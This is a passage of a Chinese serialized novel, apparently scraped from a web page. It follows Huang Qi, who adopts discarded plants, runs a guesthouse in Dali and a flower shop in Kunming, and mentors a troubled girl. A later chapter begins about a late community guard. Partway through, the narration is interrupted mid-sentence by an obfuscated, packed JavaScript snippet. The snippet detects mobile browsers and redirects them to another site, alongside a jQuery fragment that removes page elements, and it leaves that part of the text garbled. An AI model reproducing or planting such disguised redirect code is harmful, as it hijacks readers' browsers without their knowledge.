黄杞记下了这个老太,住进来后,时不时过来聊几句。住进这个院里,黄杞就再没捡过被丢的半死不活的盆栽了。大概,都在被丢之前,被孔老太治好了,或是收留了。过了小半个月,那盆养在雪花亭里的垂丝茉莉,也重新活了过来。女孩大喜,但不敢再把它搬回家,毕竟那是一个见不得日光的北向阳台。就留它在雪花亭里吧,能吹着风,淋着雨,还有老神仙一般的孔老太看护,她总是能妙手回春。 这段日子里,老太太教黄杞很多技巧。“人们都说,爱人如养花,其实,养花如爱人”,孔老太说,“空气流通,水能流透,根不闷着,按着不同植物的喜好,给水,给太阳,就这么简单。”老太太拿着一个葫芦瓢舀满了水,往一株长势很好的幸福树下浇去。几秒钟后,花盆底就就留出了水。幸福树窜得茂盛,像初高中生压不下去的头发,总要昂扬起来。黄杞看着水流,悟出点东西来,应该像养花一样养养自己。让水流出来,哪怕它像一颗子弹,穿过胸膛,就让它打出去,哪怕有点疼。过去也就好了。处理情绪和那些头脑里冗杂的丝线,也如同这样,就好了。 离开院里时,黄杞把自己车里捡了养的花,都托付给孔老太了。其中一株小的金桂,植株不大,亭亭玉立地,正开着花。老太太很是喜欢。老太太执意要送黄杞一盆好养活的花,带着继续上路。那是一盆小小的玉树。这种多肉并不娇贵,她小时候也见过。邻居家的玉树长到了脸盆架子那么高,一问,竟然是女儿问小学同学家掰下来的。女儿自己都忘记了,再想起问时,女儿自己的娃娃都和玉树一般高了。这么好养活,随身带上,也不会有什么负担。她便接下了。 下一站,云南大理。在租金还算便宜的时代,她找了家小院子,开起了民宿。院子本来是一个从从闽南来的姐姐盘下来的。女人在厦门有房,生了孩子,但不结婚,房子孩子都在自己名下。这一年,因要照顾生病的父母,她只能将刚打理好的院子转手。为了吸引客人进院,原主人甚至就在门口搭好了花架子。一半是紫藤,一半是黄木香。打算养几年,养出效果:盛放时,紫黄相接,瀑布丰美,花香浓郁。只可惜,匆忙转让时,她自己是等不到这画面了。 来云南后,黄杞发现,植物在这里,比贵州更好活,甚至比孔老太的雪花亭里更好活。黄杞老家有大树,也种小麦。老家的树会落叶,小麦要在春天播种。人要在规定的时间里做固定的事,才有得活。但云南不是。云南一年四季都开花,种子随便一撒,什么时候撒在哪里,都有机会活。这里的植物,天生有鼓舞人心的天赋。 但不好的是,正因为植物很好活,人们难免会对它们轻视,植物们会被轻易地丢掉。商业街上的小店开了又关,买回来吸甲醛的白掌、绿萝在闭店后被丢在门外。黄杞将它们捡回院子。每盆都状态不太好,有些原本挤在一起的三五株,只有一两株存活。她买了一个很大的低矮鱼缸,所有还能活的白掌和绿萝就养在里面。鱼缸满了,白掌、绿萝们渐渐活了过来。 捡回来的植物中,有许多被丢掉的多肉,因为样子不好看了,形状坏掉了被丢掉。比如街上店面会买钱窜、金枝玉叶这类被商家赋予发财寓意的多肉,但其中有不少是药锦,艳丽的颜色完全是被药催出来的。买回家后,活不长久,很快就被丢了。黄杞把它们处理一下,摘掉打药的部分,放在院里一处小偏房的屋顶瓦片上,老天爷会帮忙养,帮忙浇水。后来它们顺着瓦片的坡度,从高处往下爬,慢慢就变成了屋檐上的多肉雨。有些坠了很久很久,都不掉落。万一枝条哪天掉下来,不怕,再扔上去,天怜小家雀,它会继续长。子子孙孙无穷匮也。 人们丢掉植物的原因,很大一部分是因为对它们没有耐心,只在长得好时喜爱,一旦衰败,植物就成了累赘。自从黄杞开始一路收养植物,她对植物的长势也有了更多宽容和耐心。生虫,叶黄,落花,往往只是一时的低落,适当呵护,耐心等待,它们还能恢复。在这个过程中,她也在养自己。孔老太所言,养花如爱人,所言不虚。面对植物的衰荣,她对自己的人生也有了体悟。捡回来的每一盆植物,落下的旧叶、摘掉的枯枝,就像她身上的多余的不必要的情绪,时常清理就好。它们长出的每一片新叶,对她而言,都是在肯定她对人生新的体悟。枯荣,增减,旁逸斜出,都是常事。只要稳住自身的生命节律,人和植物都能继续好好生长。 开民宿,她定了个规矩。虽然这个规矩会影响店里的生意,但她还是定了:只接待女孩子。 她对人的情绪对敏感了。她直到年轻女孩子单独出来玩的时候,心情最敞亮。没有旅途之中照顾一家人的琐碎事,不会和谁中途吵到分崩离析,也不会因要忍耐把心中小毛刺按下,反复在脑海中反刍。单独旅行的女孩子们多美好啊,带着甜蜜的轻盈的笑容,穿着好看的裙子,走路都带着轻风。她愿意为她们提供一处安全的住所。 但也有例外,孙杭樱进院子的时候,身上很沉。她脸上有忧伤,包里还有带着药,她过得很辛苦,就像......过去那个不懂得放过自己的自己。 她没有犹豫,把女孩叫了进来。她感受到女孩内心阴凉,便找了小院里能暖身的东西,放在她身边,叫她好好休息。下雨,房檐滴水。开始,只是几滴水淅淅沥沥地滑下,渐渐水滴连成线。黄杞很安静地听女孩诉说,时不时把茶桌上凉了的茶倒掉,她想让女孩随时抱起来的任何一刻,手里茶杯都是暖的。而她自己的这杯,也没怎么喝,只是天凉,茶凉得快。于是,黄杞的手就没有停过。一会儿,自己手里的凉茶倒掉,再倒杯新的。一会儿,女孩的凉茶倒掉,再添好热腾腾的。再一会儿,她得起身搬几盆花花草草到屋檐下,让老天爷浇一浇雨水,看着雨水从花盆底流出,流到石砖的细缝里,和落雨一起滋润青苔,她就安心。 出来这一两年,黄杞已经学会对身上那个共情天赋强烈的开关,大多数时间关闭。但对一些偏爱的人,她会短时间内打开那种天赋。这种技艺,她花了些时间慢慢掌握,比如观察自然,看流水流动,跟着太阳的东升西落调整作息,追随天光散步,在清风里静静呼吸和吞吐。那天,她将开关打开,去感受女孩内心的淤堵与诉求。她带着女孩缝补玩偶,翻弄湿土,种下新的花,她没有打听女孩任何的旧事,只是找了点曾经翻新过她内心的小事,试着治愈一下另一个人。开关打开了,就有各种情绪被吸收进来。但黄杞已经懂得,它们只会是一场雨,从天而来,入地而去,只留下一些潮湿,清新的水汽,于心神无碍。该睡觉时,统统会被请出房间,不影响她,干干净净地休息,迎来新的一天。 和女孩的相处很愉快,她走后,又一次回来,还带来了礼物。女孩似乎很喜欢送她好看的茶具。还有一次,女孩带了适合放在院子里的流水摆件。她收留女孩,教她浇花,教她去洱海散步,教她跟着山河日月一起生活,教她接受心浮动,接受情绪起起落落,教她和情绪分居,顾好最单纯的那个自己。 这些处理情绪的方法,是她复杂前半生的磕绊里,磨出来的一颗珍珠。一颗蚌里的珍珠,曾经进了沙子,磨出过血,尝够了痛,最终,吐出来的一颗珍珠。这是她一生最能拿得出手的东西了。她把它当成一个礼物,送给了这个有缘的小女孩。第一眼见她,她就觉得女孩像从深海里爬来的人,一身海水湿重,心和眼却是纯澈的。她能渐渐好起来,她很欣慰。 女孩刚来的时候,黄杞就一边请她喝茶,一边让她看着自己浇花。女孩又回来时,黄杞教她如何看护院里的花花草草。相处的日子不长,但日日如珍珠,细腻闪亮。她觉得女孩像她浇过水的一盆花。云南人是会带着花出门的。生得不好的花,缺少日照的花,都会被主人带着下楼或者放到天井里,接受老天爷的安抚,包括太阳光和雨水。这些年,日子好了,一到年节,大家喜欢买年宵花。那些家里日光少的人,为了让杜鹃、水仙能在刚好的年节开放,也会带用买菜的小车甚至用婴儿车推着花草出门晒。 女孩最后一次来院里住,又要离开,去昆明读书。就像她养的一盆花,要走了,她很是舍不得。日光晒不到怎么办?不懂自己喝雨水怎么办?水浇多了根烂掉了怎么办? 正巧,她身体出了问题,去昆明的医院处理,她更安心。她自己也要动,不妨,一起动。索性,也去昆明吧!她像女儿,也像姐妹,女人之间的关系很难说,一些深沉的,彼此之间不必言说的疼惜,超越血缘,穿过□□直击灵魂。 黄杞只是可惜,不能把所有植物都带走。起初,这些植物只是种在她的院子里。后来,也种在她的心里,很遗憾,它们不能种在她的未来里。她带着女孩尽了最大努力带走了一些。但扎根了的,比如那门口已经长成了一幅画的紫藤与结香,就留在这里,托付给下一任主人好好照料。 在昆明,黄杞的积蓄刚好能收拾出一家中等规模的花店。早在东捡一盆,西捡一盆的时候,她就有了一个花店的梦。 年轻的时候,她是看不了太多鲜花的,情绪上负担不起,花谢花开,让人感伤。日子过的不舒坦,情绪堆积,每一片轻飘飘的落花到了她这里,都重得像陷入泥沼里的鞋,拔不出来。现在不同了,黄杞活开了。花谢花开总有时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294824|198549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。变成杞老板之后的黄杞,每天都要和折损的花打交道。她知道有些花会去到爱惜它的人手中,也有一些,会被当做不合时宜的礼物被丢弃在垃圾桶。这些她无法掌握,在自己手中时,好好尽心便是。 情绪负担、过度共情这个事,她好久没有想起来了。来昆明之后的这三、四年,她仍是一个人生活,过得从容清淡。这,就是她想要的人生。 另一件好事情,孙杭樱在昆明考上了一家职业学院,选了花卉生产与花艺专业。一有空,就过来店里帮忙。孙杭樱会用自己学到的东西,为店里做花艺设计。杞记从最初的小门头,变成了联排的两个店面。孙杭樱还做了件让她十分惊讶的事:学了散打班。女孩和她疏导情绪的方式完全不同,读书这几年,她从四段打通过六段,在业余选手中算不错的水平,应付日常防御足够了。一个身体强健又通畅的人,情绪不会走到死胡同里去。黄杞走之前,很放心。 这盆花,她也养得不错,甚至长出了她意料之外的刺。这能确保它不被随意折损。 但可惜,只能养到这里了。 -- 次日,傍晚,姜籽跟着二更如约出现在店门口。 “我知道这家店”,姜籽的语气中带着些许遗憾,她走进来,下意识地摸了摸右手边的一排花架。“这里曾经是昆都海棠盆栽养丰富的地方,那时我想画秋海棠,找了最多家店,才找到这里。” 那是姜籽第一次尝试商业性质的插画。一家老字号的云南中草药品牌,在推广一种新品,用某种秋海棠入药治疗女性月经不调的新品。姜籽应邀绘制系列推广物料。对方有两个需求,一个是古典韵味的插画,用于商品包装,另一个需求允许画家进行更大胆的艺术性创新,用于店面展陈。第一个任务很快完成了,第二个任务,她总是觉得缺了点什么,迟迟未让自己满意。为了寻找灵感,姜籽到几家开得很大的知名的花艺店寻访,也没什么收获。那段时间,在高端绿植市场,色彩特殊的秋海棠很火。它们会被换上精致的花盆,摆在商圈人来人往、喷着香薰的花艺店面里,定价不菲。姜籽也觉得它们很好看,却多少有些束手束脚后的拘谨,她感受得到。 换个地方,姜籽那天又来到四、五公里之外的花市街。那个傍晚,杞记店里摆着各种颜色的秋海棠,日落秋海棠、宇宙糖果、虎斑秋海棠、黑武士秋海棠、铁十字秋海棠。它们被安置在很特别的一束柔光里。姜籽询问可否在店里画几笔速写,在告知来意后,店主热情地欢迎了她,还端来一杯菊花茶。那个傍晚,那一束特别的光,打在春城最美的秋海棠之上,填满了所有的叶子带给人的遐想空间。 为了不让来客打扰姜籽,店主很体贴地暂时关了门,挂上店休的小木牌,店里的光却丝毫未受影响。彷佛,光被小心地关在了房间里。秋海棠的叶子被镀上金色。在姜籽的角度看,叶子充满光亮,但动一动视线,有一刻,它又彷佛枯黄了。黄杞在一旁看姜籽的动作,见她迟迟未动笔,猜她一时堵在了哪里,于是好心安慰说,“叶子在光里,从不同角度看,有枯有荣,人的心思,随光流动,也是如此的。一时不太顺畅,动一动,换个角度,光是流动的,不必急躁。” 这给了姜籽启发,那一系列的作品都洋溢着一种暖阳气息,冒着热气的红糖姜茶一般,恰好适配了这款新品的主题,同时,又带着光的流动效果,奇妙地展现出了气色提升的联想。姜籽的第一次商业插画尝试,在杞老板的加持下,顺利完成。 “那时,我问老板,那可不可以帮你也画一幅画。画店里的模样,画任何一株特别的植物,都可以。她说,就画滇缅秋海棠吧。这种秋海棠的叶片因表皮细胞中存在一种特殊的叶绿体,能呈现出熹微的蓝色光泽。它所呈现出的蓝色光泽,恰好可以用水墨的形式呈现。我画完之后,很得意。她很喜欢,捧着看了很久,她又问我,可不可以在叶子上画一只小小的虫。我问什么虫,她说,待绿色光的萤火虫?她觉得画面里可以再加一点光,一点点,就够了。” 那一刻姜籽至今记忆深刻。“在一个填满了夕阳的房间里,满目皆是好看的叶子。一个很温柔的女人跟我说,她想要,一点光。” 很遗憾,念着一点光的杞老板,离开了。 此时,恰是姜籽一年前作画的时刻。姜籽感受到了和那时相同的一束光。那时,她沉迷于作画,虽然很爱这束光,却并未想到追究。现在,她要好好研究这束光。 傍晚时分的光,对面的西向的一栋楼,将夕阳以奇妙的反射方式,送进了店里。杞记的墙上摆放的棱镜与雪花小摆件,开始显灵,光影在这里碰撞,在不为人知的小角落,制造出奇特的迷你彩虹。如果姜籽那时候细看,她会像今天这样发现,花店变成了一座瑰丽的魔法屋,自动打开了暖光模式。 二更夜被这束光惊艳到了。她在更加空荡的店中踱步,像寻宝一样,寻觅到了几处棱镜造出的彩虹。过往,它们藏在拥挤的花架、花瓶之间,除了黄杞和孙杭樱,轻易不被其他人发现。但现在,它们愿意欢迎这一对幸运的新客人。二更把一束细小的彩虹,捧在手心。它轻微地晃动,手心像鞠了一捧水。二更想起,她有次在滨江西路散步,也是一个夕照时分。夕阳余晖刚好被两座大厦,截成了一段四四方方的长条形,投射在盘龙江面,像有人切了一块四四方方的小蛋糕,恰好摆在了江水里。她那时晃神,世间有没有裁切光的精灵呢?如果有,那么,她一定是偏爱杞记的。 黄杞是一个被光亲吻过的人。几年间,天气好时,每日傍晚的夕阳定时来送。二次光降临的时刻,是黄杞每日整理情绪的时刻。无论日子过得如何,她会在这一束光里,完成情绪的送往,在关店之前,将它们留在这里。她给这束光起了个名字,“二次光”。 “她很喜欢在这束光里整理鲜花”,孙杭樱说。 “有次,我们一起理花。那是几把香雪兰,还没开,花苞很多,但已经有浓郁的香气了。我说,香雪兰这种一枝上有许多花骨朵,一个接一个慢慢开,我总是要等到这一枝上最后一朵花凋落,才舍得把它丢掉。那时候,花枝已经发臭了。黄姐却说,不必等一把香雪兰全都开放,在根系还没有腐烂发臭时,就可以丢掉了。放它走,在你能想象剩余花苞尚能开放的时刻。 但凡是真的花,一定有枯荣。如果花对这个世界诚实,你也要对花诚实。在它盛开绽放的时候,好好欣赏它的美,在它要走的人,从容送走,就挺好了。 我后来才晓得,她其实,在教我,离开她。”孙杭樱说到此处,又哽住了。 日落之后,云有余温,太阳把一部分灵魂藏在了其间。二更觉得,眼前的女孩,也是余晖,黄杞留在这个世界上的余晖。所以,她能够想象落日有多美。但女孩内心仍有悲痛,尚未彻底放下,她眼下的黑眼圈说明了她近日的睡眠似乎再度不佳。 想让气氛轻松一些,姜籽提议,在孙杭樱正式闭店重整之前,她会带走了店里所有尚未找到主人的植物,包括那棵柠檬树,和孔老太送给黄杞的玉树。她许诺孙杭樱,他日店面重开,还可以将它们请回来。 拉走了一车植物,姜籽觉得有些抢掠的感觉。于是,一个月后,忙着装修店铺的孙杭樱,收到了一份快递。 这是一份礼物,也是一个世界上独一无二的手作绘本。姜籽用镂刻的方式,刻画了一个女主角从北方到南方一路的花草旅程。起初,是一个女人开着一辆小卡车向前的简单画面,随着页数的增加,植物逐渐丰富起来,月季、白掌、蓝雪花、虎皮兰、玉树、晚饭花、飞燕草......每翻过一页,新的花草就会出现在小卡车的后座,或是围绕在女人的四周。直到最后一页,卡车在新一页的叠加后,变成了一个鲜花簇拥的明亮花店。花店有一扇窗,透过它,女人望向更纯净的远方。 姜籽在每一页用特殊的笔勾勒出很细腻的装饰图案,包括一些植物的落花、落叶,以及一小段的彩虹,用蜡烛等光源照射时,它们才会显现。这份灵感来自于杞记里的“二次光”,这些藏起来的图案中,还有一个小女孩。姜籽给孙杭樱塞了一颗青色的苹果香气的蜡烛,“回去点,好好找。会找到的。” 二更也夹杂了一份嘱咐。当绘本翻到最后一页,有一个小小的卡片夹着,上面写着, “过去事已过去了,未来不必预思量。只今只道只今句,梅子熟时枙子香。 预祝,在新的生命阶段,和过往的情谊,分居顺利。加油!” 22.最后一课(上): 林大戟 愉快掉落 最近,石房子进入了年终休整,桑寄生的植材动画刚刚结束,持续最长的康定杨的展览夜预计在一个月后撤展。 又到冬日了。从石房子里走出来,二更下意识地缩了缩脖子。脚下,悬铃木叶子铺了一地,日光自然而温柔地把它们烘干。踩上去的第一秒,二更产生了一种错觉,她此刻身在北方。几步路之外,就应该出现一个老餐馆,门外写着鲜明的红色大字,“内有暖气”。她拍拍被寒风吹皱了的脸,打算就躲进那里。 可惜,这是在昆明,没有暖气。昆明的冬日,确实能给人一些错觉。一部分植物常绿,尤其是巨大的棕榈树撑着蓝天,总让人感觉身在亚热带。一部分植物叶子则落得很彻底,如果你恰好走在落秃了的一棵树跟前,又恰好遇着一阵风,确实会有走进北方冬日的感受。 在昆明已有几年了,二更可以对昆明的冬与风,下一些个人化的脚注。 第四块黑板上,二更自己写了一段话: 昆明之所以叫春城,或许并不只是因为四季如春。它当然有冷的时候,但它明媚的时刻太过动人,而且明媚的时刻居多。尤其是冷过之后,再明媚起来,人会更容易被打动。人在瞬息万变的万千气候面前,其实无能为力,所以,人才会对相对恒温的明媚反反复复打动,也会在自然的变动之中,对一个可爱的均值倍加珍惜。春城给你柔情,也保留了一点点天然的任性,一切恰好到处。 而昆明冬季的风,像薄荷夹心味道的威化饼。尽管外层被太阳晒得酥酥的,内里还裹着薄荷味的夹心,用心去吸,仍是一口清凉。它到底是有些脾气的。一旦乌蒙山挡不住,寒流便会从贵州方向涌入云南,云南就会跟着冷一阵。两千米的高海拔不是说说玩玩,风清冽、干冷。昆明人是习惯暖冬的,天一冷,就会生出一股格外的不甘心。它明明可以温暖和煦,偏不知谁惹了它,闹了这么一场,真叫人无可奈何。 还好,前几日的寒流,从今天起,据说就将收尾了。 但它想留下一些什么,于是,一颗悬铃木的果子,砸到了二更头上。 果子金黄,在树上的时候,它就被日光晒得干净硬实,所以砸到头上很疼。还好,二更戴了了厚厚的绒线帽。她捡起果子,它像微缩的榴莲,外皮凹凸不平,扎手,握在手心,像握着个金黄色的小刺猬。 她对头顶上这棵树并不陌生,这并不是她第一次看到它的果子了。人记住植物,有很多方式。有时候,是因为花。二更今年记住了一棵很高大的幸福树,因为它开出了像青苹果一样的青翠可人的花。有时候,是因为果实。她有次散步,远远见一棵树,树型十分端庄。好奇是什么树,她走过去打算细看,结果在树下发现,有人早已捡好了它的果子,摆成一圈,提前告诉下一个人答案:看,它是柿子树。 过去一年,大概是二更和植物最亲近的一年了。最大的原因,是因为她认识了偏爱植物的姜籽。 时间久了,二更发现,姜籽的头顶上总戴个帽子,帽子上总是有一对耳朵。有时候是狐狸二度,红尖尖,有时候是猫耳朵,外白内粉,有时候,是说不出什么小怪兽的耳朵。她需要找姜籽的时候,就在人群里找一对耳朵就好了。姜籽手里常有一片叶子,不知哪里来的一片落叶。需要进电梯间时,她就用叶子来按楼层按钮。“我问过它了,它说可以。”姜籽说。 姜籽也发现了二更的“锚点”,只要天一冷,她总是带着围巾。有时是中式的锦缎护颈,有时是小熊猫、小猫形状的围巾。只是围巾活泼一些,她的衣服样式总是差不多的,简洁舒适,绝不会有大面积的字母或图案。一件衣服,不同颜色的几件轮着穿,仔细看的话,尺码也可能有轻微的差异。看久了,姜籽就知道她大概会有什么样的衣服,但谁也不会知道,她到底会有几件这样的衣服。 一年之中,她们建立了很多默契。这种默契,一方面体现在一起工作时。一起探访那些可爱的灵魂时,姜籽只要拉拉二更的手臂,她就知道,是姜籽对人类和谈话感到“过载”了。她很理解这个女孩子精神世界里的敏感、纯净,以及她对外界划出的那些微妙的界限。二更会找个妥善的理由,让姜籽能去隔壁安静的地方一个人呆一呆。日子久了,姜籽只需要勾勾小手指,甚至只需要一个眼神,二更就能懂得她的心思,并换着方式让她有喘口气的机会。二更刚做记者时,有段时间去高原采访,因为供氧不足,脑子卡住,停在某一个话头上。这时候,身边的编辑就会帮衬她把问题补齐,把对话继续下去。不知不觉,她如今也成了这样的人。 另一方面,她们更多的默契与友谊,化入了日常,变成了许多可爱的瞬间。 “那朵云很好看”,一旦姜籽这样说,二更就会停下来,往天上找她说的那朵云。有时候,二更找到的就是那朵,有时,她找到的是另一朵。但无论如何,两个人都可以停下来,静静地各自看一朵云。姜籽从小在云南长大,眼睛尤其擅长看明媚的蓝天。二更的童年则在北方与江浙两地,来到高海拔的云南,时常觉得日光刺眼。为了看云,她特意买了几副不同颜色的太阳镜。所以她看到的云,有时候偏粉,有时候偏紫,总是比姜籽所见的颜色更柔和一些。 也有一些时候,二更看不懂姜籽看到的色彩。比如有次,姜籽忽然在一家已经撤店许久的鱼头店门口停下来,说门头刷的漆颜色很好看。这家店已停了半年,门外原来刷着荧光绿色的漆,日光照射久了,漆的颜色退化成了一种柔和的绿,像二更小时候去过的幼儿园外墙下半截刷的那种小草绿。门上原本贴着大红色的新年贴纸,也早已被晒成了浅粉色。日光柔和,洒作星光点点,随风摇动着光临这家无人关照的门店。姜籽看着粉绿之间的颜色,有些入神。二更相信姜籽一定看出了许多颜色,但她不能,她只能看出一种粉,一种绿,但也足够静静地看一会儿了。 就这样,昆明的路上,多了一对时不时停下来发呆的姐妹。 有时,她们停在一处老社区外的某一扇窗户外。很普通的不锈钢网格窗,行人匆匆走过,谁都不会多瞥一眼。只有姜籽,拉着二更看窗台上的文竹、一盆兰、一盆乒乓菊,还有一盆开着红色小花的虎刺梅,凑齐了“梅兰竹菊”。不只这些,几盆多肉垂下枝条,各自探头,远远看去,很像一群屁股靠在一起,头却分开向四方哈气的一窝小狗。窗栏上还绑了几只玩偶,小熊,小马,再细看,栏杆上还黏着几朵蝴蝶。这扇窗户最顶上,正中挂了迎春荷包和祈福的风铃。真是一扇五福俱全的的窗户啊,每一处,都被塞了些小物件。 还有一次,一家美发店前面外墙缝里长出来一株万寿菊,姜籽在门外看,全然没有顾忌店面里的人。老板娘正梳着着一头黑直长发,见门外有人就出来看。看着这个奇怪的小人只对着墙缝里的小花看,就啥也不说,也没打扰。待二更跟来,只见一个长发女人正站在门槛上侧身梳着头,静静地看着一个给墙缝拍照的女孩笑。 姜籽的双眼,很擅长发觉这些掩在街巷里的细节。姜籽时常遇见好看的树,她会挺爱脚步,静静地看一会儿。二更大概能猜到,这棵树在她的双眼构造的画框里,一定有可取之处,所以不打扰,陪她看。这样的树大多在水边,在水中有倒影,偶尔,看个一分钟,就会有一只白鹭从不远处飞来,蜻蜓点水般降落在树上。或是,一阵风吹来,树中簌簌地飞出几只小麻雀。还有一次,一个有些驼背的爷爷忽然从粗大的树干背后探出头来,他在和孙女一前一后抱着这棵树,在玩躲猫猫。 也有时候,她们停下来看一棵树上树皮剥落后天然形成的图案,比如一只把头埋进翅膀里的绿色鹦鹉,比如马蒂斯画中那样狂舞的人群。左挪几步,又挪几步,树皮剥落的图案又往往不同了。某个图案加上附近的某根藤,刚巧挽成了人眼的形状,再挪几步,这只凤眼,又刚好嵌入了一朵云。 这样的游戏十分适合闲散的人。会看树的人,不会寂寞,二更学到了。要在一生之中,再找出许多这样可爱而宁静的时刻,怕是未必容易。二更心中也很感激姜籽。 友情就是通过这样犄角旮旯的观察,一点一点建立的。 又一阵风吹来,悬铃木的叶子飘落。二更试图用手去接,但叶子的飘落方式总是打着旋儿,荡悠悠的,无法预测,她失败了。 落叶和落果落下的姿态不同。落叶很轻,飘飘忽忽晃晃悠悠。落叶从没在如此荡漾的动态之中,仰望过树。这时候的树,像一位慈爱的母亲,用风晃动她的摇篮,揽着她最后一次入睡。 果子则不同,下落的速度很快,爽快热烈,并没有太多留恋。落到地面时,果实滚动了几下。有生之年,它第一次如此全面地打滚。它第一次接触到地面,坑坑洼洼,有一些日头晒过的温度,干裂粗糙但温暖。它也回看母亲树,它高大挺拔,像一只巨大的烟囱。不过这不重要了,它现在落地了。它可以在广阔的大地上快乐地滚动,最后安静的睡去。 二更的最后一课,就和这些落下的果子、花叶有关。 01 小花园里有他栽种的美德 门卫小吴联系她:又收到了一封信。 写信人是一位年轻女孩,叫郁李。她为林大戟而来。林大戟,一家老社区的安保与环卫,男性,半年前去世。 “我来看康定杨的画展时,发现了老林的身影。那个在路边喝茶的老人家,他身边的垃圾篓子上,别着一朵鸡蛋花的发夹。画里的背景,就是我们小区门口。这种鸡蛋花发夹一度很流行,是女孩子夏天拍照的流行发饰。老林在小区路边捡到了,就放在了清洁工具上。 老林很厉害,他还是一位专利发明人。因为爱好是捡落果,他发明了一个专利的滚动落果收集器。我帮他给收集器申请了专利。现在,这个收集器真的被一些园林单位在使用了。 他也有一些作品,相信你们会感兴趣。” 信封里还有几张照片,二更翻开,那是老林用落果制作的一些拼贴画,其中,就有金黄色的悬铃木果子。二更没有犹豫,很快,她约好了和郁李的见面时间和地点。 两日后,郁李等在灵感街街口。她身后,一家烤洋芋摊子冒着热气。 郁李二十多岁,个子不高,典型的川妹子,皮肤清透,白里透红,一口在昆都畅通无阻的成都话,感觉是一个家里会放很多毛绒玩具的女孩子。 二更记得这条街的名字。某个头脑昏昏、采访稿件写不下去的午后,她想出门又不知道可以去哪儿时,特意从地图上找到了这个名字,专程过来散步。不过,看到郁李时,她多少有些惊讶。眼前的老街与它前后几个老社区,建筑年份已久,大多是只有四、五层楼高的单位家属院。像她这个年纪的年轻人,也住在这里吗? “我在超过五、六层的高度的楼里睡不着”,郁李的四川话很亲切,“我妈走得早,我爸再婚后又生了个孩子,所以,成年后我就习惯自己住了。我妈在的时候,我们就住在这种老式的家属院里。我总是在找这样的地方租房。这个院子我住了三年了,很安心。” 郁李带着二更和姜籽穿越这条悠长的老街。身后的洋芋摊子里,几只肥美的土豆已烤好。店主是一个围裙有点嘞肚子的丰满阿姨,她切好土豆端出来给客人,带出一股热腾腾的香气。“这里的老奶洋芋很好吃,老板娘会揪一点紫荆花撒上去,伴着葱花和盐搅匀,洋红、葱绿和洋芋的金黄拌匀,巴适得很。这个嬢嬢,还是五华区洋芋大赛的冠军”,郁李边走边说。旁边,卖凉茶的店铺也很扎眼,老板一边跑步机一边吆喝几声,把叫卖变得像劳动号子。隔壁清真面馆肉汤的香气,也把前后几家店铺染得香喷喷。“这家,薄荷牛肉好吃。” 尽管已经过了午饭时间,下午的长街依旧热闹。三人路过一个社区小广场,所有空地几乎都被小马扎和折叠麻将桌占领了,这边老人们哗啦啦搓麻,另一边,另一种风格的老人们在运动器材上大展拳脚。一个80多岁老奶奶,个子矮矮的,一伸手就直接挂上了双杠,丝毫不费力气。通常,她会在双杠上挂很久。再有另一批既不热衷麻将、也不热衷运动的老人家,他们带着小狗聚会。小狗在中心地带奔跑嬉戏,这片光照最好的空地,默认免除一切人类活动,各家各户的被子、床单在这里晒着。 二更猜测,郁李一个人住在这里,50%的原因或许是因为这里浓烈的生活气息,是家里人冬天非要给你套秋裤的那种热烈,不可阻挡。 另外50%,也许是老林?因为自打刷开了老林看护的这家老院子的门禁,她的话就句句离不开老林了。 “这是老林的门卫室。他在单元楼里也有一个住处,多年前,昆明房价很低的时候买的。白天大多数时候,他在这里。” 这是一间很常见的门卫室,四四方方,干净整洁。门口有两个硕大的动漫雕塑,是林大戟捡回来的。一尊是红巾蒙脸侠客,斜靠着一把大刀。一尊是飒爽女侠,梳着两条蓝发四绺大麻花辫。究竟是何方神圣,郁李认不得,二更认不得,姜籽也认不得。但毕竟是老林捡回来的,竟然至今没有人移动。 郁李有钥匙,打开了门卫室的门。室内不大,一张专供休息的床,一张老式的桌椅。椅子和床上都铺着羊毛垫子,是老厂长专门送的,适合久坐,不长痔疮。 老厂长和整个家属院里的人对林大戟很好。这份交情,说来话长。 老厂长年轻时,有次出差,在郊野公路上误伤过一只刺猬。车停下来,刺猬一动不动。他从车里走出来下去看,刺猬似乎用尽全身力气翻回了身,然后慢吞吞地继续往前爬。几分钟,爬了不到半米。老厂长家里是因支援三小建设才来云南的东北人,从小知道“四大门”的说法。他怕刺猬是个仙儿,又担心它体力不支,再被轧到,小命不保,所以决定抱起来带回家,好生养着。 怪的是,回家后的第二天,刺猬就不见了。也恰在第二天,老林出现在了厂子门口,胳膊上打着石膏 -- 和刺猬受伤的地方一模一样。 怎么能说一模一样呢?一个是人,一只是刺猬。可老厂长见到老林的第一眼,就不由分说地觉得,林大戟就是那只刺猬。要说哪里像,似乎也无法一一对应。眼神吗?不,刺猬是小眯眯眼,但老林的眼睛圆溜溜的。刺猬是白灰色的,老林的头发还很黑。这不重要,第一感觉对了就是了。 老厂长当即把老林拉进了办公室,问东问西,老林也说不出个所以然。老厂长在办公室里转了好几个圈,脑子里转了很多关于前世今生积德行善的故事。他决议,把老林养起来!厂子里的保安室已经人满了,刚好家属院才刚建好不久,缺个保安。他索性给老林搭了个保安室,把老林像吉祥物一样供了起来。每个月工资不多,但买吃买喝有余,瓜果蔬菜管饱。 老林来的时候四十多岁,不结婚不生娃,平时就爱捡捡果子。他性情和善,人缘好,从不与人冲突。老厂长活到了99,无病无灾,走得体面,没有让儿女跟着受累。老厂长临走之前,嘱咐儿女接力照看老林。子女听凑够,逢年过节,来给老林送点果子和营养品,再带回一些老林做的果子车挂和门挂,挂车里保平安。 说来也巧,自打老林进了院子,不仅是老厂长一家顺风顺水,院子里也从未出过什么大的祸事,孩子们都平安健康地长大。更有几家人,家运恒通,成了从老厂子走出去的新一代个体户。老林去世后,后事由厂长子女主持、老家属院里的几家老住户一起出资出力操办,不奢华,但足够体面了。 送走了一个他们愿意相信的神灵,不是大山大佛,是偶遇的一只小刺猬。 刺猬?听郁李绘声绘色地讲完这段传奇,二更又仔细看这间小屋子,希望寻觅一点这个传奇故事的蛛丝马迹。 